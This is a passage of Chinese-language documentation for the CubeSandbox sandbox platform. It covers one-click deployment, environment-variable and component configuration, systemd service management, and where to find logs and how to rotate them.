Docker Compose 模板 * MySQL/Redis 的 Docker Compose 模板 * S3 Volume 插件二进制（`{CubeMaster,Cubelet}/plugin/cube-volume-s3`），供 Volume 创建/销毁与挂载/卸载使用 * 安装脚本（`install.sh`、`install-compute.sh`、`down.sh`、`smoke.sh`） * 环境变量模板（`env.example`） ## 第二步：部署到目标机 ### 2.1 上传并解压 将发布包上传到目标机并解压： ```bash tar -xzf cube-sandbox-one-click-<version>.tar.gz cd cube-sandbox-one-click-<version> ``` ### 2.2 配置环境变量 ```bash cp env.example .env ``` 大多数变量均有适用于单机部署的默认值。安装脚本会自动从 `eth0` 探测节点 IP。如果你的主网卡名称不同，或需要指定特定 IP，可在 `.env` 中显式设置： ```bash CUBE_SANDBOX_NODE_IP=<你的节点IP> ``` 完整参数说明请参阅下方[配置参考](#配置参考)。 ### 2.3 执行安装 #### 控制节点 ```bash sudo ./install.sh ``` 安装脚本会依次执行： 1. 可选配置 Docker 镜像加速（如 `ONE_CLICK_ENABLE_TENCENT_DOCKER_MIRROR=1`） 2. 解压沙箱包到固定安装根 `/usr/local/services/cubetoolbox` 3. 创建日志和数据目录 4. 将 CubeShim 二进制文件软链接到 `/usr/local/bin/` 5. 安装内置的 `mkcert`（若系统尚无此命令），为 `cube.app` 域名生成 TLS 证书 6. 通过 Docker Compose 启动 MySQL 和 Redis 7. 构建并启动 CubeProxy 容器 8. 启动 CoreDNS 容器，配置宿主机 DNS 路由（`cube.app`） 9. 启动宿主机进程：cubemaster、cube-api、cubelet 10. 执行健康检查（如 `ONE_CLICK_RUN_QUICKCHECK=1`） 安装完成后，安装器会把 `cubemastercli` 和 `cubecli` 软链接到 `/usr/local/bin`。 #### 添加计算节点（多机集群） 如果需要扩展到多台机器，可以添加计算节点并注册到本控制节点。完整操作请参阅[多机集群部署](./multi-node-deploy.md)指南。 ## 验证部署 ### 健康检查 ```bash sudo ./smoke.sh ``` 该命令运行 `quickcheck.sh`，验证 `cube-api /health` 端点是否正常响应。 计算节点的健康检查请参阅[多机集群部署 — 验证部署](./multi-node-deploy.md#验证部署)。 ### 使用 E2B SDK 测试 在客户端机器上设置以下环境变量： ```bash export CUBE_TEMPLATE_ID=<你的模板ID> export E2B_API_URL=http://<目标机IP>:3000 export E2B_API_KEY=e2b_000000 export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem ``` | 变量 | 说明 | |------|------| | `CUBE_TEMPLATE_ID` | 沙箱模板 ID，所有示例均需要 | | `E2B_API_URL` | Cube API 地址，不设置会请求 E2B 官方云服务 | | `E2B_API_KEY` | SDK 强制非空校验，本地部署填任意字符串即可 | | `SSL_CERT_FILE` | mkcert 签发的 CA 根证书路径，HTTPS 连接需要 | **执行代码** ```python import os from e2b_code_interpreter import Sandbox template_id = os.environ["CUBE_TEMPLATE_ID"] with Sandbox.create(template=template_id) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox!')") print(result) ``` **执行 Shell 命令** ```python import os from e2b_code_interpreter import Sandbox template_id = os.environ["CUBE_TEMPLATE_ID"] with Sandbox.create(template=template_id) as sandbox: result = sandbox.commands.run("echo hello cube") print(result.stdout) ``` **读取沙箱内文件** ```python import os from e2b_code_interpreter import Sandbox template_id = os.environ["CUBE_TEMPLATE_ID"] with Sandbox.create(template=template_id) as sandbox: content = sandbox.files.read("/etc/hosts") print(content) ``` 更多示例可查看仓库中的 `CubeAPI/examples/` 目录。 ## 常用操作 ### 停止所有服务 ```bash sudo ./down.sh ``` 该命令会停止所有宿主机进程（cubelet、cubemaster、cube-api）、Docker 容器（CubeProxy、CoreDNS、MySQL、Redis），并回滚 `cube.app` 的 DNS 路由配置。 ### 升级或重新安装 机器上已有 CubeSandbox 时，再次运行 `install.sh` 默认执行**保留配置的升级**，不会 覆盖已有配置。交互式运行会先询问是否升级（默认升级，输入 `n` 则改为整机重装）； 脚本、CI 等非交互运行会直接升级。要丢弃现有配置并整机重装，请显式加上 `--mode=install`。 ### 查看日志 | 组件 | 日志路径 | |------|----------| | cube-api | `/data/log/CubeAPI/` | | CubeMaster | `/data/log/CubeMaster/` | | Cubelet | `/data/log/Cubelet/` | | CubeShim | `/data/log/CubeShim/` | | Hypervisor (VMM) | `/data/log/CubeVmm/` | | CubeProxy | `/data/log/cube-proxy/` | | 运行时 PID 文件 | `/var/run/cube-sandbox-one-click/` | | 进程标准输出/错误 | `/var/log/cube-sandbox-one-click/` | ## 配置参考 安装时配置通过从 `env.example` 复制的 `.env` 文件管理。构建时选项位于构建机上的 `build.env`（从 `build.env.example` 复制）。 ### 构建时选项 将 `deploy/one-click/build.env.example` 复制为 `deploy/one-click/build.env`，在其中设置覆盖项（也可在 shell 中 export）。 | 变量 | 默认值 | 说明 | |------|--------|------| | `BUILDER_IMAGE` | `cube-sandbox-builder:latest` | 编译使用的 Docker 镜像 | | `ONE_CLICK_CUBEMASTER_BUILD_MODE` | `local` | CubeMaster 构建模式（`local` = 从源码编译） | | `ONE_CLICK_CUBELET_BUILD_MODE` | `local` | Cubelet 构建模式 | | `ONE_CLICK_CUBE_API_BUILD_MODE` | `local` | cube-api 构建模式 | | `ONE_CLICK_CUBE_AGENT_BUILD_MODE` | `local` | cube-agent 构建模式 | | `ONE_CLICK_CUBE_INIT_BUILD_MODE` | `local` | cube-init 构建模式 | | `ONE_CLICK_CUBE_SHIM_BUILD_MODE` | `local` | CubeShim 构建模式 | | `ONE_CLICK_CUBE_KERNEL_VMLINUX` | `assets/kernel-artifacts/vmlinux` | vmlinux 内核文件路径 | 也可以指定预编译二进制文件来跳过编译： | 变量 | 说明 | |------|------| | `ONE_CLICK_CUBEMASTER_BIN` | 预编译 cubemaster 路径 | | `ONE_CLICK_CUBEMASTERCLI_BIN` | 预编译 cubemastercli 路径 | | `ONE_CLICK_TEMPLATECENTER_BIN` | 预编译 templatecenter 路径 | | `ONE_CLICK_CUBELET_BIN` | 预编译 cubelet 路径 | | `ONE_CLICK_CUBECLI_BIN` | 预编译 cubecli 路径 | | `ONE_CLICK_CUBE_API_BIN` | 预编译 cube-api 路径 | | `ONE_CLICK_CUBE_AGENT_BIN` | 预编译 cube-agent 路径（打入 cube-agent.ext4） | | `ONE_CLICK_CUBE_INIT_BIN` | 预编译 cube-init 路径（注入 guest `/sbin/init`） | | `ONE_CLICK_CUBESHIM_BIN` | 预编译 containerd-shim-cube-rs 路径 | | `ONE_CLICK_CUBE_RUNTIME_BIN` | 预编译 cube-runtime 路径 | | `ONE_CLICK_MKCERT_BIN` | 构建时自定义 mkcert 二进制路径（默认：内置 `assets/bin/mkcert`） | | `ONE_CLICK_VOLUME_S3_BUILD_MODE` | S3 Volume 插件的构建模式（默认 `local`） | | `ONE_CLICK_VOLUME_S3_BIN` | 覆盖为预编译的 `cube-volume-s3`；设置后打包阶段不再编译 | 构建性能选项（均为可选）： | 变量 | 默认值 | 说明 | |------|--------|------| | `ONE_CLICK_BUILD_JOBS` | auto | 组件构建并发轨道数上限。auto = CPU 核数与 可用内存/3GiB 取较小值（在容器中构建时，可用内存会考虑 cgroup 限制）。设为 `1` 表示完全串行构建，设为较大值可取消上限。 | | `ONE_CLICK_DISABLE_PIGZ` | 空 | 设为 `1` 时，打包使用可移植的单线程 `gzip` 而非 `pigz`（并行 gzip），适用于希望使用一致的单一压缩工具、而非 pigz 并行分块格式的场景。 | | `ONE_CLICK_SEQUENTIAL_WEB_BUILD` | 空 | 设为 `1` 时，串行构建 WebUI，而不与 Guest 镜像构建并行重叠。 | | `CUBE_BUILD_TIME` | HEAD 提交日期（UTC） | 嵌入二进制并记录到 `release-manifest.json` / `VERSION.txt` 的 `built_at` 的构建时间戳。默认取 HEAD 提交日期，使同一提交上的重复构建字节一致并复用增量缓存；可覆盖为字面时间戳（如 `2026-01-01T00:00:00Z`）以使用真实构建时钟。 | ### 目标机选项 | 变量 | 默认值 | 说明 | |------|--------|------| | `ONE_CLICK_DEPLOY_ROLE` | `control` | 部署角色：`control` 为单机部署（默认）。计算节点请参阅[多机集群部署](./multi-node-deploy.md) | | `ONE_CLICK_CONTROL_PLANE_IP` | 空 | 仅计算节点模式使用。详见[多机集群部署 — 配置环境变量](./multi-node-deploy.md#第二步配置环境变量) | | `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` | 空 | 仅计算节点模式使用。Cubelet 向 CubeOps注册，端口 3010。详见[多机集群部署 — 配置环境变量](./multi-node-deploy.md#第二步配置环境变量) | | `CUBE_SANDBOX_NODE_IP` | 自动从 `eth0` 探测 | 节点主网卡 IP 地址。未设置时自动探测；若网卡名称不同请显式指定。 | | `CUBE_SANDBOX_NETWORK_CIDR` | `192.168.0.0/18` | cubevs 本地网络 CIDR，用于沙箱 IP 分配。格式为 IPv4 CIDR（如 `10.100.0.0/18`），掩码范围 /16~/24。若与宿主机网卡、路由或 DNS 解析器地址冲突，安装前置检测会直接中止安装。未设置时使用固定默认值。 | | `CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK` | `0` | 设为 `1` 可跳过默认或自定义沙箱 CIDR 的冲突检测（不推荐）。 | | `ONE_CLICK_RUN_QUICKCHECK` | `1` | 安装后是否执行健康检查 | | `ONE_CLICK_RUNTIME_DIR` | `/var/run/cube-sandbox-one-click` | PID 和运行时文件目录 | | `ONE_CLICK_LOG_DIR` | `/var/log/cube-sandbox-one-click` | 进程标准输出/错误日志目录 | ### 数据库与缓存 | 变量 | 默认值 | 说明 | |------|--------|------| | `CUBE_SANDBOX_MYSQL_CONTAINER` | `cube-sandbox-mysql` | MySQL 容器名 | | `CUBE_SANDBOX_REDIS_CONTAINER` | `cube-sandbox-redis` | Redis 容器名 | | `CUBE_SANDBOX_MYSQL_PORT` | `3306` | MySQL 端口 | | `CUBE_SANDBOX_REDIS_PORT` | `6379` | Redis 端口 | | `CUBE_SANDBOX_MYSQL_ROOT_PASSWORD` | `cube_root` | MySQL root 密码 | | `CUBE_SANDBOX_MYSQL_DB` | `cube_mvp` | MySQL 数据库名 | | `CUBE_SANDBOX_MYSQL_USER` | `cube` | MySQL 用户名 | | `CUBE_SANDBOX_MYSQL_PASSWORD` | `cube_pass` | MySQL 用户密码 | | `CUBE_SANDBOX_REDIS_PASSWORD` | `ceuhvu123` | Redis 密码 | ### CubeProxy 与 DNS | 变量 | 默认值 | 说明 | |------|--------|------| | `CUBE_PROXY_ENABLE` | `1` | 启用 CubeProxy（一键部署必须为 `1`） | | `CUBE_PROXY_HTTPS_PORT` | `443` | CubeProxy HTTPS 监听端口 | | `CUBE_PROXY_HTTP_PORT` | `80` | CubeProxy HTTP 监听端口；systemd 启动后 TCP listener 检查跟随该端口 | | `CUBE_PROXY_GRPC_PORT` | `9090` | CubeProxy 明文 gRPC（HTTP/2）监听端口 | | `CUBE_EGRESS_ADMIN_PORT` | `9091` | CubeEgress 本机 admin API 端口（策略推送）；install.sh 会同步改写 Cubelet `cube_egress_admin_url` | | `CUBE_PROXY_DNS_ENABLE` | `1` | 启用 CoreDNS（一键部署必须为 `1`） | | `CUBE_PROXY_DNS_ANSWER_IP` | `${CUBE_SANDBOX_NODE_IP}` | CoreDNS 对 `cube.app` 返回的 IP | | `CUBE_PROXY_COREDNS_BIND_ADDR` | `127.0.0.54` | CoreDNS 绑定地址 | ### 进程监听地址 | 变量 | 默认值 | 说明 | |------|--------|------| | `CUBEMASTER_ADDR` | `127.0.0.1:8089` | CubeMaster 监听地址 | | `CUBE_API_BIND` | `0.0.0.0:3000` | cube-api 监听地址 | | `CUBE_API_HEALTH_ADDR` | `127.0.0.1:3000` | cube-api 健康检查地址 | | `CUBE_API_SANDBOX_DOMAIN` | `cube.app` | 沙箱域名，用于 CubeProxy 路由 | ### Docker 镜像加速（可选） | 变量 | 默认值 | 说明 | |------|--------|------| | `ONE_CLICK_ENABLE_TENCENT_DOCKER_MIRROR` | `1` | 启用腾讯云 Docker 镜像加速 | | `ONE_CLICK_TENCENT_DOCKER_MIRROR_URL` | `https://mirror.ccs.tencentyun.com` | 镜像加速地址 | ## 安装后目录结构 安装完成后，部署目录位于 `/usr/local/services/cubetoolbox/`： ``` /usr/local/services/cubetoolbox/ ├── CubeAPI/bin/cube-api # E2B 兼容 API 服务 ├── CubeMaster/ │ ├── bin/cubemaster # 调度编排服务 │ ├── bin/cubemastercli # 命令行工具 │ └── conf.yaml # CubeMaster 配置 ├── Cubelet/ │ ├── bin/cubelet # 节点管理 Agent │ ├── bin/cubecli # 命令行工具 │ ├── config/ # Cubelet 配置 │ └── dynamicconf/ # 动态配置 ├── cube-shim/bin/ │ ├── containerd-shim-cube-rs # containerd shim │ └── cube-runtime # 运行时 ├── cube-image/ │ └── cube-guest-image-cpu.img # Guest VM 镜像 ├── cube-kernel-scf/ # 内核制品 ├── cubeproxy/ # CubeProxy Docker Compose 与配置 ├── coredns/ # CoreDNS Docker Compose ├── support/ # MySQL/Redis Docker Compose + 内置 mkcert ├── sql/ # 数据库初始化 SQL ├── scripts/one-click/ # 运行时管理脚本 └── .one-click.env # 当前生效的环境配置 ``` ## 故障排查 ### Docker 未安装或未运行 ``` Error: required command not found: docker ``` 请参照 [Docker 官方文档](https://docs.docker.com/engine/install/) 安装 Docker，并确保守护进程正在运行： ```bash sudo systemctl start docker sudo systemctl enable docker ``` ### KVM 不可用 如果 `/dev/kvm` 不存在，说明 KVM 未启用。请确认： * 运行环境为物理机（非虚拟机） * 内核支持 KVM ```bash # 检查 KVM 支持 lsmod | grep kvm ``` Intel CPU 需要 `kvm_intel` 模块，AMD CPU 需要 `kvm_amd` 模块。 ### DNS 路由失败 安装脚本通过 `systemd-resolved` 或 `NetworkManager + dnsmasq` 配置 `cube.app` 域名的 split DNS。如果两者都不可用，安装将失败。 **解决方法**：在 `/etc/hosts` 或你的 DNS 服务器中手动添加 `*.cube.app` 指向 `CUBE_SANDBOX_NODE_IP` 的记录。 ### mkcert 异常 `mkcert` 二进制已内置在发布包中，部署时会自动安装到 `/usr/local/bin/mkcert`。如需使用其他版本，可在执行 `install.sh` 前手动将 `mkcert` 安装到系统 PATH，或在构建时通过 `ONE_CLICK_MKCERT_BIN` 环境变量指定自定义二进制路径。 ### MySQL/Redis 容器启动失败 查看 Docker 日志： ```bash docker logs cube-sandbox-mysql docker logs cube-sandbox-redis ``` 常见原因： * 端口冲突（3306 或 6379 已被占用） * 磁盘空间不足 * Docker 守护进程异常 ## 已知限制 * 如果 `assets/kernel-artifacts/` 下缺少 `vmlinux`，构建会立即失败。 * 如果构建机的 `mkfs.ext4` 不支持 `-d` 参数，Guest 镜像生成会失败。 * `cube-snapshot/spec.json` 在当前一键发布中不是强制产物，缺失时相关功能会退化为告警而不阻塞启动。 * 目标机如果同时缺少 `systemd-resolved` 和 `NetworkManager`，自动 DNS 配置将无法完成。 --- --- url: https://cubesandbox.com/zh/guide/service-management.md --- # 服务管理与日志 本页面面向**已经把 CubeSandbox 装好**、想要在日常运维中管好这套服务的用户。 读完本页你会知道： * 这台机器上具体跑了哪些 systemd 服务，它们之间的依赖关系 * 改了配置之后，要重启哪几个服务才能让它生效 * 服务跑挂了应该怎么排查 * 业务日志、启动期日志、容器内日志各在哪里，以及它们的边界 * 完整下线 / 重启整机栈的姿势 ::: tip 适用范围 本页对应**新版（systemd 托管）的一键安装包**。如果你的机器上还能看到 `up-with-deps.sh` / `down-with-deps.sh` 这类脚本作为日常入口，那是 pre-systemd 老版本，重新执行最新一键安装包即可平滑升级（安装器内置了对老部署的接管逻辑）。 ::: ## TL;DR 一分钟备忘 ```bash # 1. 看整台机器上 cube 系列服务都还活着吗 sudo systemctl --no-legend list-units 'cube-sandbox-*' # 2. 改了配置 → 重启对应服务（最常见的几个） sudo systemctl restart cube-sandbox-cube-api.service sudo systemctl restart cube-sandbox-cubemaster.service sudo systemctl restart cube-sandbox-cubelet.service # 3. 看业务行为日志（请求/统计/审计/VMM）—— 全都在 /data/log/，不在 journal sudo tail -F /data/log/Cubelet/Cubelet-req.log sudo tail -F /data/log/CubeMaster/cubemaster-req.log sudo tail -F /data/log/CubeAPI/cube-api-$(date +%F).log sudo tail -F /data/log/CubeVmm/vmm.log # 沙箱 VMM 创建过程 sudo tail -F /data/log/cube-proxy/error.log # 代理错误 # 4. 看启动失败 / 进程异常退出 → journalctl sudo journalctl -u cube-sandbox-cube-api.service -n 200 --no-pager # 5. 一键打包诊断信息（含 /data/log 的 tail + 配置 + dmesg + 进程快照） sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh ``` ::: warning 业务日志在 `/data/log/`，不在 `journalctl` 这是新用户最容易踩的一点：CubeSandbox 各组件**只把启动期 stdout/stderr 留给 journal**，请求 / 调度 / 统计 / 审计 / VMM 创建过程等业务日志**全部直接写到 `/data/log/<Module>/`**。如果你想看「最近一小时谁创建了沙箱」，要去 `/data/log/`，不要去 `journalctl`。 ::: ## 服务总览 新版一键安装会把 14 个 systemd 单元注册到 `/etc/systemd/system/`，并按节点角色聚合到两个 target 之下。 ### 角色聚合 target | Target | 作用 | 节点角色 | |---|---|---| | `cube-sandbox-control.target` | 控制节点（默认 all-in-one）的全部服务 | `control` | | `cube-sandbox-compute.target` | 计算节点的最小子集 | `compute` | ::: tip 这是怎么生效的 Target 通过 `Wants=` 列出自己要拉起的 service；service 通过 `PartOf=` 反向声明属于哪个 target。所以 `systemctl stop cube-sandbox-control.target` 会把所有 `PartOf=cube-sandbox-control.target` 的 service 一起停掉，不需要你逐个写名字。 ::: ### 服务清单 | 单元 | 进程形态 | 端口 / 监听 | 出现在 | 上游依赖 | |---|---|---|---|---| | `cube-sandbox-mysql.service` | Docker 容器 | `3306` | control | docker | | `cube-sandbox-redis.service` | Docker 容器 | `6379` | control | docker | | `cube-sandbox-cubemaster.service` | 宿主机进程 | `8089` | control | mysql, redis | | `cube-sandbox-cube-api.service` | 宿主机进程 | `3000`（E2B 兼容 API） | control | cubemaster | | `cube-sandbox-cubelet.service` | 宿主机进程 | `9999`（gRPC）、HTTP 诊断接口 | control / compute | 内置 network runtime + `/data/cubelet`（XFS） | | `cube-sandbox-coredns.service` | Docker 容器 | `127.0.0.54:53` 或 `169.254.254.53:53` | control | docker | | `cube-sandbox-cube-proxy.service` | Docker 容器 | `443`（TLS）/ `80` / `9090`（gRPC） | control | docker, redis | | `cube-sandbox-dns.service` | oneshot（无常驻进程） | — | control | coredns（`BindsTo`）| | `cube-sandbox-webui.service` | Docker 容器 | `12088` | control | docker, cube-api | ### 启动依赖关系（控制节点） ```text docker.service ├─ mysql.service ─┐ ├─ redis.service ─┼─ cubemaster.service ─ cube-api.service ─ webui.service │ └─ cube-proxy.service └─ coredns.service ─ dns.service (oneshot, BindsTo coredns) network-online.target └─ cubelet.service（内置 network runtime） ``` 依赖只通过 `After=` / `Wants=` 表达启动顺序；运行期某个上游挂了**不会**自动把下游也带翻 —— 所以 cubelet 不会因为 cube-api 挂了而被一起重启，反过来也是一样。 ## 重启服务 ### 场景 A：改了配置，想让单个服务生效 最常见的两种配置入口： * 顶层环境：`/usr/local/services/cubetoolbox/.one-click.env` * 组件原生配置：`Cubelet/config/config.toml`、`Cubelet/dynamicconf/conf.yaml`、`CubeMaster/conf.yaml`、`cubeproxy/global.conf`、`coredns/Corefile` 改完之后，重启**直接读这份配置的那个服务**： ```bash # 改了 cubelet 配置 sudo systemctl restart cube-sandbox-cubelet.service # 改了 cubemaster 配置 sudo systemctl restart cube-sandbox-cubemaster.service # 改了 .one-click.env 中的 CUBE_API_* sudo systemctl restart cube-sandbox-cube-api.service # 改了 cubeproxy/global.conf sudo systemctl restart cube-sandbox-cube-proxy.service # 改了 coredns/Corefile sudo systemctl restart cube-sandbox-coredns.service ``` ::: warning 改 systemd unit 文件本身的情况 如果你直接动了 `/etc/systemd/system/cube-sandbox-*.service` 文件本身，需要先 reload，systemd 才会读到新内容： ```bash sudo systemctl daemon-reload sudo systemctl restart cube-sandbox-<service>.service ``` 但如果你只是改了 helper 脚本（`/usr/local/services/cubetoolbox/scripts/systemd/*.sh`），不需要 `daemon-reload`，下一次 `restart` 就会重新拉起脚本生效。 ::: ## Cubelet 工件路径 {#cubelet-artifact-paths} Cubelet 会把由 Docker/OCI 镜像构建的模板根文件系统保存为只读 ext4 工件。可以在 `Cubelet/config/config.toml` 的 `[plugins."io.cubelet.internal.v1.images"]` 段中配置工件目录和模板运行时使用的内核源文件： ```toml [plugins."io.cubelet.internal.v1.images"] image_base_path = "/usr/local/services/cubetoolbox/cubebox_os_image" shared_kernel_path = "/usr/local/services/cubetoolbox/cube-kernel-scf/vmlinux" ``` `image_base_path` 是 cubebox 模板工件的最终缓存目录，每个工件位于 `<image_base_path>/<artifact-id>/<artifact-id>.ext4`，并包含对应的 `.vm` 文件。`shared_kernel_path` 是模板工件以及无模板沙箱使用的 `vmlinux` 源文件。两个路径都必须是绝对路径。省略时，Cubelet 保留历史 toolbox 路径；`cubetool_base_dir` 仍作为旧配置的兼容 fallback。设置任一新路径后，该路径以新配置为准，旧配置不会覆盖它。如果旧 cbri 配置自定义了 `base_path`，应显式将 `shared_kernel_path` 设为该安装目录下匹配的内核路径；`base_path` 仍控制无模板沙箱使用的 guest 和 agent 镜像，但不再选择 `vmlinux`。配置的内核路径必须与节点当前选中的 bm/pvm 内核变体和 digest 一致；修改这个路径不会为节点或模板上报选择另一套 kernel identity。 工件目录和内核路径相互独立。修改任一路径后都需要重启 Cubelet。Cubelet 不会自动搬迁已有工件；切换到新路径前，需要先让受影响的缓存或内核文件在新路径可用。已有 snapshot 还必须继续让历史工件路径可访问（例如通过部署层软链），或者重建相关 snapshot，因为 snapshot 元数据保存了 kernel 和 ext4 工件的绝对路径。旧 cbri 插件中的 `image_base_path` 和 `kernel_base_path` 不再作为工件路径来源，请改在 images 插件段配置工件路径。如果旧字段中有自定义值，应先把需要保留的值复制到 images 插件段，再删除或更新旧字段。 `cubelet config dump` 和 `cubelet config migrate` 会把解析后的工件路径写成显式的 `image_base_path` 和 `shared_kernel_path`。使用导出的配置文件后，如需调整路径，应修改这两个显式字段；只修改 `cubetool_base_dir` 不会覆盖它们。 ## CubeMaster 配置项 {#cubemaster-settings} 路径：`/usr/local/services/cubetoolbox/CubeMaster/conf.yaml`（one-click 包内来自 `configs/single-node/cubemaster.yaml`）。 `cubelet_conf` 段中的主要超时字段： | 配置项 | 说明 | |--------|------| | `default_timeout_insec` | 客户端**不传** `timeout` 时，集群默认的**沙箱空闲 TTL**（秒）。**未配置或 `<= 0` 表示不设集群级空闲超时**（沙箱不会因空闲被自动回收，除非客户端显式传 `timeout`）。仓库默认为 `-1`，即“无集群默认”。生产环境若需自动回收未带 TTL 的沙箱，可改为正数（如 `300`）。 | | `create_timeout_insec` | 仅限制创建/调度 RPC 的截止时间，**不是**沙箱空闲 TTL。未配置时默认 `600`。 | | `common_timeout_insec` | CubeMaster 访问 Cubelet 的通用 RPC 超时（非 create 专用）。 | | `create_image_timeout_insec` | CubeMaster 调用单个计算节点**下载镜像**的超时时间。它包含下载、校验和保存 rootfs artifact 的时间。大镜像、低带宽或磁盘较慢时可适当调大。默认值 `300`（秒）。 | | `app_snapshot_timeout_insec` | CubeMaster 调用单个计算节点**创建模版**的超时时间。它包含制作模版时启动临时虚拟机、等待 readiness probe、保存内存和磁盘状态、清理临时虚拟机并返回结果的总时间。未配置或配置为非正数时，使用默认值 `300`（秒）。网络较差或模版较大时可适当调大。| 下载镜像和创建模版的 timeout 相互独立，分别从对应 RPC 发起时开始计时。配置示例： ```yaml cubelet_conf: create_image_timeout_insec: 300 app_snapshot_timeout_insec: 600 ``` 修改上述任一 CubeMaster 配置后，需要重启 CubeMaster： ```bash sudo systemctl restart cube-sandbox-cubemaster.service ``` 相关说明见[沙箱生命周期 — 设计与运维要点](lifecycle.md#集群默认空闲超时default_timeout_insec)。 ### 场景 B：服务挂了 / 反复重启 每个 service 都配了 `Restart=on-failure`，进程崩一次会自动重启。但如果反复 fail，需要先看清楚原因再重启。 #### 1. 先看一眼当前状态 ```bash sudo systemctl status cube-sandbox-cube-proxy.service --no-pager ``` 重点看： * `Active: failed` / `Active: activating (start-post)` 是不是还在尝试 * `Restart Counter` 是否反复增长（卡在重启循环） * 输出末尾自动带的最近 10 条 journal #### 2. 看启动期日志 ```bash sudo journalctl -u cube-sandbox-cube-proxy.service -n 200 --no-pager ``` 适合定位：脚本写法问题、ExecStart 报错、容器拉不到镜像、`apk` / `apt` 网络问题、ExecStartPost 健康检查超时。 #### 3. 看业务日志 如果服务能起来但行为异常，**业务日志在 `/data/log/`，不在 journal**： ```bash sudo tail -200 /data/log/Cubelet/Cubelet-req.log sudo tail -200 /data/log/CubeMaster/cubemaster-req.log sudo tail -200 /data/log/CubeAPI/cube-api-$(date +%F).log ``` #### 4. 重置 failed 计数后再启 ```bash sudo systemctl reset-failed cube-sandbox-cube-proxy.service sudo systemctl restart cube-sandbox-cube-proxy.service ``` ### 场景 C：整套重启 / 整机维护后复位 ```bash # 控制节点 sudo systemctl restart cube-sandbox-control.target # 计算节点 sudo systemctl restart cube-sandbox-compute.target ``` 或者发布包目录下： ```bash sudo ./down.sh sudo systemctl start cube-sandbox-control.target ``` ::: tip 重启 target 等于按依赖顺序重启所有 PartOf 服务 target 本身没有进程，restart target 时 systemd 会顺序重启所有 `PartOf=cube-sandbox-control.target` 的 service。这条命令是替代「逐个写一长串 service 名」的快捷方式。 ::: ### 场景 D：完整下线（停止整套服务） ```bash # 推荐：用发布包内的脚本（自动按角色走） sudo /root/cube-sandbox-one-click-<version>/down.sh # 等价命令 sudo systemctl stop cube-sandbox-control.target # 控制节点 sudo systemctl stop cube-sandbox-compute.target # 计算节点 ``` `down.sh` 不会删除任何数据：MySQL / Redis 数据卷、`/data/cubelet`、`/data/log/...` 等都保留，下次 `start` 即可恢复。 ## 查看日志 CubeSandbox 有多种日志来源，其中也包括各组件自己的容器内日志。宿主机侧主要有以下两个入口： | 来源 | 包含什么 | 在哪里看 | |---|---|---| | **业务行为日志（推荐入口）** | 请求、调度决策、stat、audit、VMM 启动过程 | **`/data/log/<Module>/`** | | 启动期日志 | systemd 拉起 / hook / ExecStartPost / 退出码 / 容器 build 输出 | `journalctl -u <unit>` | ### `/data/log/` 业务日志（重点） > ⚠️ Cubelet / CubeMaster / CubeAPI / CubeShim / VMM 的「业务请求 + 统计 + 审计 + VMM 创建过程」日志**全部都写到 `/data/log/`**，**不会**进 journalctl，请直接读文件。 | 模块 | 目录 | 主要文件 | |---|---|---| | Cubelet | `/data/log/Cubelet/` | `Cubelet-req.log`（请求）`Cubelet-stat.log`（指标/统计）| | CubeMaster | `/data/log/CubeMaster/` | `cubemaster-req.log` | | CubeAPI | `/data/log/CubeAPI/` | `cube-api-YYYY-MM-DD.log`（按天滚动） | | CubeShim | `/data/log/CubeShim/` | `cube-shim-req.log`、`cube-shim-stat.log` | | Hypervisor (VMM) | `/data/log/CubeVmm/` | `vmm.log`（每次创建沙箱都会写 VMM 日志）| | cube-proxy | `/data/log/cube-proxy/` | `error.log`、`access.log`（见下文）| 常用命令： ```bash # 跟踪 Cubelet 收到的请求 sudo tail -F /data/log/Cubelet/Cubelet-req.log # 跟踪 CubeAPI（E2B 兼容层）按天滚动的日志 sudo tail -F /data/log/CubeAPI/cube-api-$(date +%F).log # 沙箱启动慢 / 启动失败：看 VMM 日志 sudo tail -200 /data/log/CubeVmm/vmm.log ``` ### CubeShim 和 VMM 日志轮转 CubeShim 和 VMM 运行期间会保持日志文件打开。CubeShim 通过内部每 30 分钟轮转事件 reopen。VMM 控制线程自己持有 monotonic `timerfd`，每小时发出已有的 `LOG_CTRL_REOPEN` 控制记录。reopen 由固定周期驱动：宿主机执行“`rename` + `create`”后，会在下一次计划中的 reopen 时切换到新文件，而不是在任意一次写入时立即检测。该定时器由 VMM 控制线程持有，不依赖延迟 logger 初始化，也不会由 vCPU/API 线程创建。因此宿主机侧仍应按小时执行轮转，并使用“`rename` + `create`”方式，不要使用 `copytruncate`。 例如，将下面内容保存为 `/etc/logrotate.d/cubesandbox`，并确保宿主机每小时执行一次 `logrotate`： ```text /data/log/CubeVmm/vmm.log /data/log/CubeShim/*.log { hourly rotate 24 missingok notifempty compress delaycompress create 0640 root root } ``` `rotate 24` 表示保留 24 个小时文件，可按实际保留周期调整。`delaycompress` 会将最新的轮转文件延迟一个周期压缩，因为 writer 在下一次计划中的 reopen 之前可能仍使用旧 fd。CubeShim 每 30 分钟触发一次内部事件，VMM 控制线程每小时发送一次 reopen 控制事件。不需要 `postrotate` 信号或重启服务；该策略保证宿主机侧 retention 有界，但不承诺对任意手工轮转立即响应，也不支持 `copytruncate`。 示例使用 `root root`，因为随附的一键部署 systemd 服务以 root 运行。如果 CubeShim 或 VMM 使用其他账号运行，请把 `create` 的 owner 和 group 改成对应账号；否则新建文件可能无法被 reopen。 示例中的 `0640` 只适用于 `logrotate` 创建的文件；CubeShim 和 VMM writer 本身仍遵循进程的 umask。 ### `journalctl` 启动期日志 journalctl 看的是**进程被 systemd 拉起到稳定运行（或失败退出）期间**的 stdout/stderr，主要用于： * 启动失败的退出码 / 异常信息 * ExecStart / ExecStartPost / ExecStop 各 hook 的输出 * 容器拉镜像、`docker build` / `apk update` 等失败信息 * 服务被自动重启的次数与原因 ```bash # 最近 200 行 sudo journalctl -u cube-sandbox-cubelet.service -n 200 --no-pager # 实时追踪 sudo journalctl -u cube-sandbox-cubemaster.service -f # 看「上次启动以来」全部 sudo journalctl -u cube-sandbox-cube-api.service -b ``` ::: warning journalctl 里没有业务请求日志 进程跑稳之后的 stdout/stderr 输出非常少，因为各组件都把业务日志直接写到 `/data/log/<Module>/`。如果你想看「最近一小时谁创建了沙箱」，**journalctl 是错的入口**，请去 `/data/log/CubeMaster/cubemaster-req.log` 或 